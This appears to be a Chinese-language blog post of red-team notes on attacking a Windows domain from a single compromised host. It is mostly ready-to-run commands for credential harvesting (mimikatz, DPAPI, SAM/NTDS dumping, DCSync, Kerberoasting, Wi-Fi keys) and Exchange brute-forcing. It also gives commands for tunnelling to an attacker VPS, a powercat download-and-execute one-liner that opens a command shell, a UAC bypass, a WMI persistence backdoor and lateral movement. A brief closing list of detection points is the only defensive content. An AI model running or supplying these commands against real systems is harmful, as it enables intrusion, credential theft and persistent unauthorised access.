随随波逐流の旅店 vernus
← 返回首页

内网渗透

  • 发表于 2026-08-26
  • 字数 18,366 · 约 46 分钟
  • 评论 —

内网渗透

2026-08-26分类·内网#内网

01 信息收集

在贡献一台机器以后,如果以为的直接抓取密码,做一些扫描内网的操作,如果有IDS等设备可能造成脖颈丢失权限。所以要先进性信息收集

1.1 SPN

SPN:服务主题名称,可以理解为网络服务的门牌号。

使用kerberos必须为服务器注册spn,因此可以在内网扫描spn,快速找到内网中注册的服务。spn扫描可以规避像是端口扫描的不确定性探测。常用的有setspn getuserspns.vbs和rubeus

a、利用Windows自带的setspn工具,普通域用户权限执行即可:

setspn -T domain.com -Q */*

b、利用GetUserSPNs.vbs也可以获取spn结果:

cscript GetUserSPNs.vbs

c、Rubeus工具

1.2 端口连接

利用netstat -ano命令获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。

1.3、配置文件

看web应用对应的数据库账号密码 可以使用如下命令寻找包含密码字段的文件:

cd /web
findstr  /s /m "password" *.*

下面是常用web服务器应用的默认配置路径:

a.Tomcat:

CATALINA_HOME/conf/tomcat-users.xml

b.Apache:

/etc/httpd/conf/httpd.conf

c.Nginx:

/etc/nginx/nginx.conf

d.Wdcp:

/www/wdlinux/wdcp/conf/mrpw.conf

e.Mysql:

mysql\data\mysql\user.MYD

1.4 用户信息

可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。

a、查看域用户,普通域用户权限即可:

net user /domain

b、查看域管理员

net group "domain admins" /domain

c、快速定位域控ip,一般是dns、时间服务器:

net time /domain

nslookup -type=all_ldap._tcp.dc._msdcs.domain.com
命令部分 含义
nslookup 域名查询工具,用于向 DNS 服务器发起查询请求
-type=all 指定查询类型为“所有”。这里主要目的是获取 SRV(服务定位)记录 和关联的 A(主机地址)记录
_ldap._tcp _ldap 指明要寻找的是 LDAP 服务(AD 目录服务),_tcp 指明使用 TCP 协议
.dc._msdcs 这是一个非常关键的路径标识,意为“域控(Domain Controller)的微软域服务(Microsoft Domain Services)”
.domain.com 你所在的 AD 域名称

d、查看域控制器: net group "domaincontrollers" /domain

1.5 内网主机发现

a.查看共享资料:

net view

b.查看arp表

arp -a

c.查看hosts文件

linux
cat /etc/hosts

windows
type  c:\Windows\system32\drivers\etc\hosts

d.查看dns缓存:

ipconfig  /displaydns

e.使用一些工具比方说nbtscan,nmap等

1.6、会话收集

在网内收集会话,如看管理员登录过哪些机器、机器被谁登录过,这样攻击的目标就会清晰很多。

可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。

api相关介绍如下:

https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum

a.利用powershell脚本PowerView

Import-Module \powerview.ps1
invoke-UserHunter -UserName "win7user"

如何查看域用户登录的计算机

b.也可以查看机器被哪些用户登陆过:

简单的就是查看事件查看器的4624登录成功共和4625登陆失败

Windows 和 Linux 系统登录记录查询指南

1.7、凭据收集

拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码

远程连接凭据:

命令部分 含义
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<连接名> Navicat for MySQL 存储连接信息(含加密密码)的注册表路径
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<连接名> Navicat for MariaDB 存储连接信息的注册表路径
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<连接名> Navicat for MongoDB 存储连接信息的注册表路径
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<连接名> Navicat for Microsoft SQL Server 存储连接信息的注册表路径
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<连接名> Navicat for Oracle 存储连接信息的注册表路径
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<连接名> Navicat for PostgreSQL 存储连接信息的注册表路径
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<连接名> Navicat for SQLite 存储连接信息的注册表路径
C:\Users<用户名>\AppData\Roaming\VanDyke\Config\Sessions SecureCRT 在 Win7/Win2008+ 系统上存储会话配置(含密码)的路径
%userprofile%\Documents\NetSarang\Xshell\Sessions Xshell 5 存储会话文件的路径(含密码)
%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions Xshell 6 存储会话文件的路径(含密码)
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions WinSCP 存储已保存站点会话信息(含密码)的注册表路径
HKLM\SOFTWARE\RealVNC\vncserver (Password) RealVNC 存储服务端密码(通常加密)的注册表路径
HKCU\Software\TightVNC\Server (Password / PasswordViewOnly) TightVNC 存储当前用户密码配置的注册表路径
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 (Password) TigerVNC 存储密码配置的注册表路径(实际通常为 HKCU 或 HKLM)
C:\Program Files\UltraVNC\ultravnc.ini (passwd / passwd2) UltraVNC 存储密码明文的配置文件路径(通常用于本地认证)

1.8、DPAPI

由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。

其作用范围包括且不限于:

outlook客户端密码

windowscredential凭据

chrome保存的密码凭据

internetexplorer密码凭据

DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。

相关的介绍如下:

https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection

在渗透中,可以利用mimikatz做到自动化的数据解密:

a、解密Chrome密码:

mimikatz  dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login  Data" /unprotect

b、解密Credential:

mimikatz  vault::cred /patch

1.9、域信任

当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

查看域信任:

nltest  /domain_trusts

1.10、域传送 存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。

windows
nslookup  -type=ns domain.com
nslookup
sserver  dns.domain.com
ls  domain.com

linux
dig @dns.domain.com axfr domain.com

1.11、DNS记录获取

a、在windows server上,可以使用Dnscmd工具获取dns记录。

Dnscmd. /ZonePrint domain.com

Dnscmd. /EnumRecords domain.com

b、在非windows server机器上,可以使用PowerView获取。

import-module  PowerView.ps1

Get-DNSRecord  -ZoneName domnain.com

1.12、WIFI

通过如下命令获取连接过的wifi密码

for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

1.13、GPP

当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。

其中xml中的密码是aes加密的,密钥已被微软公开:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN

可以使用相关脚本进行解密,如:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

域用户登录脚本存在目录也会存在敏感文件:

\\domain\Netlogon

1.14、自动化工具

比如说Seatbelt,Bloodhound(执行SharpHound.exe -c all生成zip压缩包之后导入)

1.15、Exchange

1.16.1 邮箱用户密码爆破

使用ruler工具对owa(outlook网页版)接口进行爆破:


./ruler  --domain targetdomain.com brute --users /path/to/user.txt --passwords  /path/to/passwords.txt

ruler工具会自动搜索owa可以爆破的接口,如:

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml

其他如ews接口也存在被暴力破解利用的风险:

https://mail.targetdomain.com/ews

1.16.2 通讯录收集

在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定:

Get-GlobalAddressList  -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016  -OutFile global-address-list.txt

1.16.3 信息收集

当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。

获取所有邮箱用户:

Get-Mailbox

导出邮件:

New-MailboxexportRequest  -mailbox username -FilePath ("\\localhost\c$\test\username.pst")

也可以通过web口导出,登录:

https://mail.domain.com/ecp/

导出后会有记录,用如下命令可以查看:

Get-MailboxExportRequest

删除某个导出记录:

Remove-MailboxExportRequest  -Identity 'username\mailboxexport' -Confirm:$false

02 传输通道

在做完信息收集后,为了方便进一步内网渗透,一般都会建立一个通道,甚至是多级跳板。

2.1、是否出网

command test
ping icmp
curl http
nslookup dns

2.2、netsh

netsh是windows自带的命令,可以允许修改计算机的网络配置。也可以被拿来做端口转发。

A机器执行如下命令

netsh  interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1  protocol=tcp

其中add v4tov4意思是添加一条 IPv4 → IPv4 的转发规则(也有 v6tov4、v4tov6 等变体)

B机器访问A机器的5555端口,即是192.168.1.1的3389端口

2.3、SSH

一般被拿来登录linux机器,也可以拿来做代理和转发。

a、开启socks代理:

ssh -qTfnN -D [email protected]

参数 含义
ssh SSH 客户端
-q quiet 安静模式:抑制大部分警告和错误输出
-T 不分配伪终端(TTY):纯转发用,不需要交互式 shell
-f 后台运行:认证成功后就 fork 到后台,命令立即返回(配合 -N 是常驻隧道的经典组合)
-n stdin 重定向到 /dev/null:不让 SSH 从前台读输入(配合 -f 后台化)
-N 不执行远程命令:这条连接只做端口转发,不打开 shell
-D 1111 动态端口转发:在本地 1111 端口开一个 SOCKS5 代理
[email protected] 以 root 身份连接远程主机 1.1.1.1

效果是

把浏览器或任意工具(如 Proxifier、curl --socks5)指向 127.0.0.1:1111
所有流量走 SSH 加密通道到 1.1.1.1,以 1.1.1.1 的出口访问外部资源
1.1.1.1 能看到你访问了谁,但中间链路是加密的;目标网站看到的是 1.1.1.1 的 IP

b、控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C:

参数 含义
-C 压缩:隧道流量压缩传输
-N 不执行远程命令,纯转发
-f 认证成功后后台运行
-g 允许其他机器连接转发的端口(默认只允许本机 loopback 访问,加 -g 后绑定所有网卡,局域网内的机器也能用这个代理/端口)

ssh -CNfg -L 2121:CIP:21 root@BIP

输入BIP机器密码,访问A的2121端口即是访问CIP的21端口。

-L 本地转发

c、控制A机器,A能够访问B:

ssh -CNfg -R 2121:BIP:21 root@hackervps 输入黑客vps密码,访问黑客vps的2121端口即是访问BIP的21端口。

-R 远程转发

2.4、自动化工具

reGeorg

可以解决当机器不出网时,使用http代理进入内网。

本地运行:

pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx

利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。

EarthWorm

用于开启SOCKS v5代理服务的工具

a、受害者机器有外网ip并可直接访问:

把ew传到对方服务器上,执行:

./ew -s ssocksd -l 8888

现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。

b、控制A机器,A能够访问B,通过A访问B:

在自己外网服务器上执行:

./ew -s rcsocks -l 1080 -e 8888

对方服务器执行:

./ew -s rssocks -d yourvpsip -e 8888

利用proxychains等类似工具可通过连接你的外网vps的1080 端口的socks5,即可代理受害者服务器的网络。

c、控制A、B机器,A能够访问B,B能够访问C,A有外网ip并可直接访问,通过A来使用B的流量访问C:

B机器执行:

./ew -s ssocksd -l 9999

A机器:

./ew -s lcx_tran -l 1080 -f BIP -g 9999

利用proxychains等类似工具可通过连接A的1080 端口的socks5,即可代理B服务器的网络。

d、控制A、B机器,A能够访问B,B能够访问C,A没有外网ip,通过A连接自己的外网vps来使用B的流量访问C:

自己vps执行:

./ew -s lcx_listen -l 1080 -e 8888

B机器执行:

./ew -s ssocksd -l 9999

A机器执行:

./ew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999

利用proxychains等类似工具可通过连接你自己的vps的1080 端口的socks5,即可代理B服务器的网络。

lcx

a、反向转发

外网VPS机器监听:

lcx.exe -listen 1111 2222

受害者机器执行:

lcx.exe -slave VPSip 1111 127.0.0.1 3389

连接外网VPS机器的2222端口即是连接受害者机器的3389。

b、正向转发

A机器执行:

lcx.exe -tran 1111 2.2.2.2 8080

访问A机器的1111端口即是访问2.2.2.2的8080端口。

2.5、powercat

powercat是一款ps版nc。可以本地执行,也可以远程下载执行,远程执行命令如下:

powershell"IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-l -p 8000 -e cmd"

然后远程连接执行命令即可。如果嫌弃该命令太暴露,可以对其进行编码。

2.6 mssql

当目标机器只开放mssql时,我们也可以利用mssql执行clr作为传输通道

工具地址

https://github.com/blackarrowsec/mssqlproxy

03 权限提升

3.1 UAC

UAC,即用户账户控制,就是以管理员权限运行的时候跳出来那个,如果想远哦bypass的话可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

比方说win10里面的ComputerDefaults.exe程序,他是微软自带的可信系统程序,当该程序被运行时,会无提示地读取并执行当前用户在注册表中设置的键值。

所以可以在注册表中找到该程序的路径,将默认值改为cmd,这样当 ComputerDefaults.exe 运行并尝试打开设置时,它会把执行权限转交给这个键值指向的命令,从而在未触发任何弹窗的情况下,让 cmd.exe 继承了高完整性权限

pnkYHyD.png

需要注意的是,我们需要先检查hkcu,如果 HKCU 里写入了,系统就会默认优先读取 HKCU 的配置(遮蔽 HKLM/HKCR),这个注册表劫持实际上就是利用了高权限程序 ComputerDefaults.exe 会优先读取 HKCU 的漏洞,借它的手执行了自己低权限写进去的代码,从而间接获得了高权限的 CMD 窗口。

3.2、ms14-068

该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。

Kerberos协议流程图

pnktulT.png

1、域用户登录时,向KDC的AS服务以自身密码加密的时间戳进行预认证;

2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成;

3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据

4、域控的TGS服务验证TGT通过后,返回给域用户能够访问Application Server的票据,即ST,ST以Application Server的服务账号密码加密;

5、域用户拿着ST访问对应的Application Server;

6、Application Server验证ST,决定成功与否。

而ms14-068的成因就是:

TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。

默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。


python  ms14-068.py -u <userName>@<domainName> -s <userSid> -d  <domainControlerAddr>

mimikatz.exe  "kerberos::ptc [email protected]" exit

也可以利用goldenPac.py实现

goldenPac.py  domain.com/username:[email protected]

04 密码获取

4.1、ntlmhash和net-ntlmhash

先简单介绍下lmhash和ntlmhash。

我们经常看到的hash长这样:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

他的组成就是:

user:sid:lmhash:ntlmhash

lmhash的加密流程如下:

1、密码长度限制为14个字符

2、密码全部转换为大写

3、密码转换为16进制字符串,不足14字节用0补全

4、密码的16进制字符串被分成两个7byte部分

5、再分7bit为一组,每组末尾加0,再组成一组

6、上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。

7、将加密后的两组拼接在一起,得到最终LM HASH值。

为了解决lmhash强度不够的问题,微软推出了ntlmhash:

1、先将用户密码转换为十六进制格式。

2、将十六进制格式的密码进行Unicode编码。

3、使用MD4对Unicode编码数据进行Hash计算

因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee

在hash传递攻击时,可以替换成0:

00000000000000000000000000000000

pnkUSsS.png

他的简述流程如下:

1、客户端向服务端发起认证

2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1

3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器

4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。

这些都是基于微软的 NTLM 认证协议(New Technology LAN Manager)是一种基于挑战-响应机制的Windows身份验证协议,用于在不传输明文密码的情况下验证用户身份。

简单来说,NTLM Hash 是静态的本地钥匙,因为是静态的,所以可以复制粘贴拿去开别的门(PtH)。

Net-NTLM Hash 是动态的临时指纹,每次门的锁芯不一样(挑战值不同),所以不能直接复制拿去开别的门;但是你可以破解指纹算出原始的密码,或者站在中间把指纹实时转递给一个正好配对的锁(Relay)。

因此ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和中间人。

4.2、本地用户凭据

在windows上,C:\Windows\System32\config目录保存着当前用户的密码hash。我们可以使用相关手段获取该hash。

比方说使用reg命令获取本地用户凭证hash

reg save  hklm\sam sam.hive
reg  save hklm\system system.hive
reg  save hklm\security security.hive

或者使用pwdump7以及mimikatz等

privilege::debug
token::elevate
lsadump::sam

从lsass.exe中也可以获取,如直接用mimikatz

privilege::debug
sekurlsa::logonpasswords

而为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。用户可以选择将·HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential`更改为0来禁用。

它在winserver 2012 R2及以上版本已默认集成。在winserver 2012R2上面测试,手动添加上述注册表的值为1,然后抓密码,发现只有wdigest能抓到明文密码了:

再提一下kb2871997补丁问题,除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的,此外,kb287199除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。

4.3、域hash

当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为ntds.dit被占用,因此需要利用如卷影备份等手段copy出ntds.dit,然后利用如NTDSDumpEx.exe解析hash

当拷贝ntds.dit时,由于网络、文件大小等问题,可以使用DRS协议获取hash凭据:

mimikatz.exe  privilege::debug "lsadump::dcsync /domain:jumbolab.com /all /csv"  exit

4.4、token窃取

token是一个描述进程或线程安全上下文的对象。token即令牌包括了与进程或线程关联的用户账号的标识和特权,当用户登录时,系统通过将用户密码与安全数据库进行比对来验证用户密码正确性,如果密码正确,系统将生成访问token。该用户的进程都携带该token,可以利用DuplicateTokenEx api对现有token的复制,然后使用CreateProcessWithToken api对复制的token创建一个新的进程。

它们的攻击路径:Token Stealing (令牌窃取)

在典型的攻击场景中,这两个 API 通常按以下序列被调用,以伪装成管理员或 SYSTEM 用户:

获取目标令牌:使用 OpenProcess 打开目标高权限进程(如 lsass.exe)。

提取句柄:使用 OpenProcessToken 获取该进程的访问令牌句柄。

复制令牌:调用 DuplicateTokenEx 并指定 TokenPrimary 类型,将提取到的“模拟令牌”复制成可执行的“主令牌”。

启动进程:调用 CreateProcessWithTokenW 将复制的令牌附着到新的 cmd.exe 或其他恶意进程上,从而实现权限提升。

简而言之,这就是一个完整的“身份盗用”流程:先取来身份凭证(Token),再伪造一个合法证件(复制令牌),最后利用它骗过系统监控(启动新进程)。

4.5、Kerberoasting

在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。

在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS:

$SPNName  = 'test/test'
Add-Type  -AssemblyNAme System.IdentityModel
New-Object  System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList  $SPNName

再利用mimikatz导出:

kerberos::list  /export

然后利用tgsrepcrack暴力破解:

python  tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM.kirbi

就可以成功获取该域用户密码

深入理解 Kerberoasting 攻击

4.6、密码喷射

内网中的爆破

kerbrute  userenum -d jumbolab.com usernames.txt
kerbrute  passwordspray -d jumbolab.com username.txt  aA1234567

4.7、LAPS

LocalAdministrator Password Solution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码:

Get-ADComputer  computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd

05 横向移动

前提是获取到某个机器的账号密码或者hash

5.1、账号密码链接

a.IPC

net use \\目标ip\ipc$  “password” /user:username

作用:建立到目标主机的 SMB 认证会话。它本身不执行命令,但后续很多远程命令如 at、schtasks、sc、reg 等可以依赖这个已建立的认证通道。

b.Psexec

# 用服务启动的方式:
psexec  \\target -accepteula  -u username -p  password cmd.exe
psexec.py  jumbolab.com/administrator@目标ip

原理:通过 SMB 访问目标的 ADMIN$ 共享,上传服务程序,然后远程创建并启动一个服务,通过服务执行命令。执行完成后通常会删除服务。

上下两个是一样的,不过下面的是python版本就是

c、WMI

WMI 是 Windows Management Instrumentation,Windows 管理规范。可以通过它远程调用方法,例如创建进程。

# 方法一

wmic  /user:"jumbolab.com\win7user"  /password:"password"  /node:172.16.127.184 process call create "notepad"



#  方法二

Invoke-WmiMethod  -class win32_process -name create -argumentlist 'notepad' -ComputerName  172.16.127.184 -Credential 'jumbolab.com\win7user'



#  方法三

$filterName  = 'BotFilter82'

$consumerName  = 'BotConsumer23'

$exePath  = 'C:\Windows\System32\notepad.exe'

$Query  = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE  TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

$WMIEventFilter  = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription"  -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}  -ErrorAction Stop -ComputerName 172.16.127.184 -Credential  ‘jumbolab.com\win7user’

$WMIEventConsumer  = Set-WmiInstance -Class CommandLineEventConsumer -Namespace  "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}  -ComputerName 172.16.127.184 -Credential  ‘jumbolab.com\win7user’

Set-WmiInstance  -Class __FilterToConsumerBinding -Namespace "root\subscription"  -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

方法1中

  • wmic:WMI 命令行工具。
  • /user、/password:远程凭据。
  • /node:目标主机。
  • process call create "notepad":调用 Win32_Process 类的 Create 方法,在目标主机上启动 notepad。

方法2和1作用一样,不过3是创建 WMI 事件订阅,形成持久化后门

  • __EventFilter:事件过滤器,定义触发条件。这里使用 WQL 查询,监测 Win32_PerfFormattedData_PerfOS_System 的实例修改事件。
  • CommandLineEventConsumer:事件消费者,当事件触发时执行指定的可执行文件,这里是 notepad.exe。
  • __FilterToConsumerBinding:把过滤器和消费者绑定起来。
  • 当满足 WQL 查询条件时,目标主机就会自动执行 notepad.exe。这种方式隐蔽性较强,常用于持久化。

d、Schtasks

schtasks  /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM"  /tn "windowsupdate"  /sc DAILY  /tr "calc" /F

schtasks  /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate
  • schtasks:Windows 计划任务命令。

  • /create:创建任务。

  • /s 1.1.1.1:目标主机。

  • /u domain\Administrator /p password:远程凭据。

  • /ru "SYSTEM":任务以 SYSTEM 账户身份运行。

  • /tn "windowsupdate":任务名称。

  • /sc DAILY:触发器为每天运行。

  • /tr "calc":要运行的程序。

  • /F:强制覆盖同名任务。

e、AT

at \\1.1.1.1 15:15 calc

作用:在远程主机的指定时间运行程序。该命令依赖已建立的 IPC 认证会话和远程 Task Scheduler 服务,较老的系统中常见,现在基本被 schtasks 取代。

f、SC

sc  \\1.1.1.1 create windowsupdate binpath= "calc"
sc  \\1.1.1.1 start windowsupdate
  • sc:Windows 服务控制管理器命令。

  • \1.1.1.1:目标主机。

  • create windowsupdate:创建名为 windowsupdate 的服务。

  • binpath= "calc":指定服务二进制文件路径为 calc。

  • start windowsupdate:启动该服务。

作用:通过远程创建并启动服务来执行命令/程序。需要目标主机管理员权限。实际利用中 binpath 常指向恶意可执行文件或类似 cmd.exe /c ... 的命令。

g、REG

reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
  • reg add:注册表添加命令。

  • \1.1.1.1\HKLM...\Run:远程主机的 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 键。

  • /v myentry:值名称。

  • /t REG_SZ:值类型为字符串。

  • /d "calc":值数据为 calc。

作用:在远程主机的自启动注册表项 Run 中添加一个值。当用户登录时,系统会自动运行该值指向的程序。这通常用于持久化。

h、DCOM

# 方法一

$com  = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c  calc.exe","Minimized")

#  方法二

$com  = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")

$obj  = [System.Activator]::CreateInstance($com)

$item  = $obj.item()

$item.Document.Application.ShellExecute("cmd.exe","/c  calc.exe","c:\windows\system32",$null,0)

#  方法三

$com  = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")

$obj  = [System.Activator]::CreateInstance($com)

$obj.Document.Application.ShellExecute("cmd.exe","/c  calc.exe","c:\windows\system32",$null,0)

方法一

通过 ProgID 为 MMC20.Application 的 DCOM 组件在远程主机 1.1.1.1 上创建对象。

调用 ExecuteShellCommand 方法执行命令。

参数含义:

  • 'cmd.exe':要执行的程序。

  • $null:目录参数为空。

  • "/c calc.exe":命令行参数。

  • "Minimized":窗口最小化。

方法二

  • CLSID 9BA05972-F6A8-11CF-A442-00A0C90A8F39 是 ShellWindows。

  • 通过 DCOM 远程创建 ShellWindows 对象,获取 Shell.Application,然后调用 ShellExecute 执行命令。

方法三

  • CLSID C08AFD90-F2A1-11D1-8455-00A0C91F3880 是 Shell.Application。

  • 直接远程实例化 Shell.Application,调用 ShellExecute 执行命令。

DCOM 方式需要目标主机允许 DCOM 调用,并具备相应权限。

i、WINRM

winrs -r:http://1.1.1.1:5985  -u:Administrator -p:password   "whoami"

winrs  -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password  "whoami "
  • winrs:Windows Remote Shell 客户端,基于 WinRM 服务。

  • -r:http://1.1.1.1:5985:指定远程 WinRM 服务地址,默认 HTTP 端口为 5985。

  • -u:Administrator -p:password:远程凭据。

  • "whoami":在远程主机上执行的命令。

作用:通过 WinRM/WS-Management 协议在远程主机上执行命令。目标主机需要启用 WinRM 服务,并监听 5985(HTTP)或 5986(HTTPS)端口。

总结

总结下来就是利用

  • SMB/ADMIN$ 访问日志

  • 服务创建/启动事件

  • 计划任务创建/运行事件

  • WMI 事件订阅

  • 注册表 Run 键修改

  • DCOM 远程调用日志

  • WinRM 连接日志 这些协议、服务、端口和留下的日志痕迹,在防御中可以重点关注。

5.2、PTH

当我们没有明文账号密码,只有hash时,可以尝试hash传递。